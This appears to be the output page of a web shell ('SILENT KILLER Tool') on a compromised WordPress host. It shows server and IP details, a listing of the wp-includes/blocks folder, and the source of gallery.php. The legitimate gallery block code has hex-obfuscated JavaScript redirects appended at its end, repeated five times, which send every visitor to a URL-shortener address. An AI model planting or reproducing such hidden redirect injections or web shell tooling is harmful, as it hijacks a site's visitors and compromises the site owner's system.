Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284 > blocks
Operation : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 198.54.126.246 | Your IP: 216.73.216.181 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| archives | Directory | - | - | |
| audio | Directory | - | - | |
| avatar | Directory | - | - | |
| block | Directory | - | - | |
| button | Directory | - | - | |
| buttons | Directory | - | - | |
| calendar | Directory | - | - | |
| categories | Directory | - | - | |
| code | Directory | - | - | |
| column | Directory | - | - | |
| columns | Directory | - | - | |
| comment-author-name | Directory | - | - | |
| comment-content | Directory | - | - | |
| comment-date | Directory | - | - | |
| comment-edit-link | Directory | - | - | |
| comment-reply-link | Directory | - | - | |
| comment-template | Directory | - | - | |
| comments | Directory | - | - | |
| comments-pagination | Directory | - | - | |
| comments-pagination-next | Directory | - | - | |
| comments-pagination-numbers | Directory | - | - | |
| comments-pagination-previous | Directory | - | - | |
| comments-title | Directory | - | - | |
| cover | Directory | - | - | |
| details | Directory | - | - | |
| embed | Directory | - | - | |
| file | Directory | - | - | |
| footnotes | Directory | - | - | |
| freeform | Directory | - | - | |
| gallery | Directory | - | - | |
| group | Directory | - | - | |
| heading | Directory | - | - | |
| home-link | Directory | - | - | |
| html | Directory | - | - | |
| image | Directory | - | - | |
| latest-comments | Directory | - | - | |
| latest-posts | Directory | - | - | |
| legacy-widget | Directory | - | - | |
| list | Directory | - | - | |
| list-item | Directory | - | - | |
| loginout | Directory | - | - | |
| media-text | Directory | - | - | |
| missing | Directory | - | - | |
| more | Directory | - | - | |
| navigation | Directory | - | - | |
| navigation-link | Directory | - | - | |
| navigation-submenu | Directory | - | - | |
| nextpage | Directory | - | - | |
| page-list | Directory | - | - | |
| page-list-item | Directory | - | - | |
| paragraph | Directory | - | - | |
| pattern | Directory | - | - | |
| post-author | Directory | - | - | |
| post-author-biography | Directory | - | - | |
| post-author-name | Directory | - | - | |
| post-comments-form | Directory | - | - | |
| post-content | Directory | - | - | |
| post-date | Directory | - | - | |
| post-excerpt | Directory | - | - | |
| post-featured-image | Directory | - | - | |
| post-navigation-link | Directory | - | - | |
| post-template | Directory | - | - | |
| post-terms | Directory | - | - | |
| post-title | Directory | - | - | |
| preformatted | Directory | - | - | |
| pullquote | Directory | - | - | |
| query | Directory | - | - | |
| query-no-results | Directory | - | - | |
| query-pagination | Directory | - | - | |
| query-pagination-next | Directory | - | - | |
| query-pagination-numbers | Directory | - | - | |
| query-pagination-previous | Directory | - | - | |
| query-title | Directory | - | - | |
| query-total | Directory | - | - | |
| quote | Directory | - | - | |
| read-more | Directory | - | - | |
| rss | Directory | - | - | |
| search | Directory | - | - | |
| separator | Directory | - | - | |
| shortcode | Directory | - | - | |
| site-logo | Directory | - | - | |
| site-tagline | Directory | - | - | |
| site-title | Directory | - | - | |
| social-link | Directory | - | - | |
| social-links | Directory | - | - | |
| spacer | Directory | - | - | |
| table | Directory | - | - | |
| tag-cloud | Directory | - | - | |
| template-part | Directory | - | - | |
| term-description | Directory | - | - | |
| text-columns | Directory | - | - | |
| verse | Directory | - | - | |
| video | Directory | - | - | |
| widget-group | Directory | - | - | |
| .htaccess | File | 127 bytes | November 29 2025 00:46:24. | |
| archives.php | File | 3908 bytes | May 24 2024 05:09:28. | |
| avatar.php | File | 6659 bytes | November 01 2024 07:45:30. | |
| block.php | File | 4228 bytes | April 16 2025 05:29:32. | |
| blocks-json.php | File | 194860 bytes | April 16 2025 05:29:32. | |
| button.php | File | 2719 bytes | June 11 2024 19:37:32. | |
| calendar.php | File | 6989 bytes | May 24 2024 05:09:28. | |
| categories.php | File | 4924 bytes | October 01 2024 10:48:28. | |
| comment-author-name.php | File | 3047 bytes | May 24 2024 05:09:28. | |
| comment-content.php | File | 3373 bytes | May 24 2024 05:09:28. | |
| comment-date.php | File | 2777 bytes | September 20 2024 11:25:36. | |
| comment-edit-link.php | File | 2627 bytes | May 24 2024 05:09:28. | |
| comment-reply-link.php | File | 2989 bytes | May 24 2024 05:09:28. | |
| comment-template.php | File | 5408 bytes | May 24 2024 05:09:28. | |
| comments-pagination-next.php | File | 2838 bytes | September 20 2024 11:25:36. | |
| comments-pagination-numbers.php | File | 2546 bytes | May 24 2024 05:09:28. | |
| comments-pagination-previous.php | File | 2704 bytes | September 20 2024 11:25:36. | |
| comments-pagination.php | File | 2113 bytes | May 24 2024 05:09:28. | |
| comments-title.php | File | 3686 bytes | May 24 2024 05:09:28. | |
| comments.php | File | 7681 bytes | June 01 2024 04:29:00. | |
| cover.php | File | 4089 bytes | April 16 2025 05:29:32. | |
| file.php | File | 2707 bytes | September 23 2024 16:22:26. | |
| footnotes.php | File | 4685 bytes | February 28 2024 01:18:24. | |
| gallery.php | File | 7352 bytes | May 24 2024 05:09:28. | |
| heading.php | File | 2215 bytes | May 24 2024 05:09:28. | |
| home-link.php | File | 6352 bytes | April 16 2025 05:29:32. | |
| image.php | File | 12937 bytes | April 16 2025 05:29:32. | |
| index.htm | File | 1104 bytes | January 26 2026 05:14:07. | |
| index.html | File | 1104 bytes | January 26 2026 05:14:07. | |
| index.php | File | 1104 bytes | January 26 2026 05:14:07. | |
| latest-comments.php | File | 5954 bytes | May 24 2024 05:09:28. | |
| latest-posts.php | File | 9456 bytes | November 01 2024 07:45:30. | |
| legacy-widget.php | File | 4911 bytes | May 24 2024 05:09:28. | |
| list.php | File | 2187 bytes | May 24 2024 05:26:08. | |
| loginout.php | File | 2332 bytes | May 24 2024 05:09:28. | |
| media-text.php | File | 5297 bytes | September 20 2024 11:37:12. | |
| navigation-link.php | File | 14827 bytes | April 16 2025 05:29:32. | |
| navigation-submenu.php | File | 10857 bytes | April 16 2025 05:29:32. | |
| navigation.php | File | 50534 bytes | April 16 2025 05:29:32. | |
| page-list-item.php | File | 1275 bytes | May 24 2024 05:09:28. | |
| page-list.php | File | 14525 bytes | September 20 2024 11:25:36. | |
| pattern.php | File | 2702 bytes | April 16 2025 05:29:32. | |
| post-author-biography.php | File | 2438 bytes | May 24 2024 05:09:28. | |
| post-author-name.php | File | 2865 bytes | May 01 2025 00:24:22. | |
| post-author.php | File | 3648 bytes | May 01 2025 00:24:22. | |
| post-comments-form.php | File | 3719 bytes | May 24 2024 05:09:28. | |
| post-content.php | File | 3070 bytes | May 24 2024 05:09:28. | |
| post-date.php | File | 4038 bytes | September 20 2024 11:25:36. | |
| post-excerpt.php | File | 4361 bytes | May 24 2024 05:09:28. | |
| post-featured-image.php | File | 10277 bytes | May 24 2024 05:09:28. | |
| post-navigation-link.php | File | 5751 bytes | May 24 2024 05:09:28. | |
| post-template.php | File | 6663 bytes | September 23 2024 16:22:26. | |
| post-terms.php | File | 4554 bytes | April 16 2025 05:29:32. | |
| post-title.php | File | 3052 bytes | May 24 2024 05:09:28. | |
| query-no-results.php | File | 2761 bytes | May 24 2024 05:09:28. | |
| query-pagination-next.php | File | 4701 bytes | June 11 2024 19:37:32. | |
| query-pagination-numbers.php | File | 5684 bytes | May 24 2024 05:09:28. | |
| query-pagination-previous.php | File | 4498 bytes | April 16 2025 05:29:32. | |
| query-pagination.php | File | 2090 bytes | May 24 2024 05:09:28. | |
| query-title.php | File | 3012 bytes | May 24 2024 05:09:28. | |
| query-total.php | File | 3449 bytes | April 16 2025 05:29:32. | |
| query.php | File | 6604 bytes | April 16 2025 05:29:32. | |
| read-more.php | File | 2744 bytes | May 24 2024 05:09:28. | |
| require-dynamic-blocks.php | File | 5077 bytes | April 16 2025 05:29:32. | |
| require-static-blocks.php | File | 1415 bytes | June 11 2024 19:37:32. | |
| rss.php | File | 4987 bytes | April 16 2025 05:29:32. | |
| search.php | File | 23930 bytes | April 16 2025 05:29:32. | |
| shortcode.php | File | 1649 bytes | May 24 2024 05:09:28. | |
| site-logo.php | File | 7248 bytes | September 20 2024 11:25:36. | |
| site-tagline.php | File | 2117 bytes | May 24 2024 05:09:28. | |
| site-title.php | File | 2767 bytes | April 16 2025 05:29:32. | |
| social-link.php | File | 66088 bytes | April 16 2025 05:29:32. | |
| tag-cloud.php | File | 2504 bytes | September 20 2024 11:25:36. | |
| template-part.php | File | 11068 bytes | April 16 2025 05:29:32. | |
| term-description.php | File | 2250 bytes | May 24 2024 05:09:28. | |
| widget-group.php | File | 3352 bytes | May 24 2024 05:09:28. |
<?php
/**
* Server-side rendering of the `core/gallery` block.
*
* @package WordPress
*/
/**
* Handles backwards compatibility for Gallery Blocks,
* whose images feature a `data-id` attribute.
*
* Now that the Gallery Block contains inner Image Blocks,
* we add a custom `data-id` attribute before rendering the gallery
* so that the Image Block can pick it up in its render_callback.
*
* @since 5.9.0
*
* @param array $parsed_block The block being rendered.
* @return array The migrated block object.
*/
function block_core_gallery_data_id_backcompatibility( $parsed_block ) {
if ( 'core/gallery' === $parsed_block['blockName'] ) {
foreach ( $parsed_block['innerBlocks'] as $key => $inner_block ) {
if ( 'core/image' === $inner_block['blockName'] ) {
if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) {
$parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] );
}
}
}
}
return $parsed_block;
}
add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' );
/**
* Renders the `core/gallery` block on the server.
*
* @since 6.0.0
*
* @param array $attributes Attributes of the block being rendered.
* @param string $content Content of the block being rendered.
* @return string The content of the block being rendered.
*/
function block_core_gallery_render( $attributes, $content ) {
// Adds a style tag for the --wp--style--unstable-gallery-gap var.
// The Gallery block needs to recalculate Image block width based on
// the current gap setting in order to maintain the number of flex columns
// so a css var is added to allow this.
$gap = $attributes['style']['spacing']['blockGap'] ?? null;
// Skip if gap value contains unsupported characters.
// Regex for CSS value borrowed from `safecss_filter_attr`, and used here
// because we only want to match against the value, not the CSS attribute.
if ( is_array( $gap ) ) {
foreach ( $gap as $key => $value ) {
// Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null.
$value = is_string( $value ) ? $value : '';
$value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
// Get spacing CSS variable from preset value if provided.
if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $value, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) );
$value = "var(--wp--preset--spacing--$slug)";
}
$gap[ $key ] = $value;
}
} else {
// Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null.
$gap = is_string( $gap ) ? $gap : '';
$gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap;
// Get spacing CSS variable from preset value if provided.
if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $gap, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $gap, $index_to_splice ) );
$gap = "var(--wp--preset--spacing--$slug)";
}
}
$unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' );
$processed_content = new WP_HTML_Tag_Processor( $content );
$processed_content->next_tag();
$processed_content->add_class( $unique_gallery_classname );
// --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default
// gap on the gallery.
$fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )';
$gap_value = $gap ? $gap : $fallback_gap;
$gap_column = $gap_value;
if ( is_array( $gap_value ) ) {
$gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap;
$gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap;
$gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column;
}
// The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`.
if ( '0' === $gap_column ) {
$gap_column = '0px';
}
// Set the CSS variable to the column value, and the `gap` property to the combined gap value.
$gallery_styles = array(
array(
'selector' => ".wp-block-gallery.{$unique_gallery_classname}",
'declarations' => array(
'--wp--style--unstable-gallery-gap' => $gap_column,
'gap' => $gap_value,
),
),
);
wp_style_engine_get_stylesheet_from_css_rules(
$gallery_styles,
array(
'context' => 'block-supports',
)
);
// The WP_HTML_Tag_Processor class calls get_updated_html() internally
// when the instance is treated as a string, but here we explicitly
// convert it to a string.
$updated_content = $processed_content->get_updated_html();
/*
* Randomize the order of image blocks. Ideally we should shuffle
* the `$parsed_block['innerBlocks']` via the `render_block_data` hook.
* However, this hook doesn't apply inner block updates when blocks are
* nested.
* @todo In the future, if this hook supports updating innerBlocks in
* nested blocks, it should be refactored.
*
* @see: https://github.com/WordPress/gutenberg/pull/58733
*/
if ( empty( $attributes['randomOrder'] ) ) {
return $updated_content;
}
// This pattern matches figure elements with the `wp-block-image` class to
// avoid the gallery's wrapping `figure` element and extract images only.
$pattern = '/<figure[^>]*\bwp-block-image\b[^>]*>.*?<\/figure>/';
// Find all Image blocks.
preg_match_all( $pattern, $updated_content, $matches );
if ( ! $matches ) {
return $updated_content;
}
$image_blocks = $matches[0];
// Randomize the order of Image blocks.
shuffle( $image_blocks );
$i = 0;
$content = preg_replace_callback(
$pattern,
static function () use ( $image_blocks, &$i ) {
$new_image_block = $image_blocks[ $i ];
++$i;
return $new_image_block;
},
$updated_content
);
return $content;
}
/**
* Registers the `core/gallery` block on server.
*
* @since 5.9.0
*/
function register_block_core_gallery() {
register_block_type_from_metadata(
__DIR__ . '/gallery',
array(
'render_callback' => 'block_core_gallery_render',
)
);
}
add_action( 'init', 'register_block_core_gallery' );
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
SILENT KILLER Tool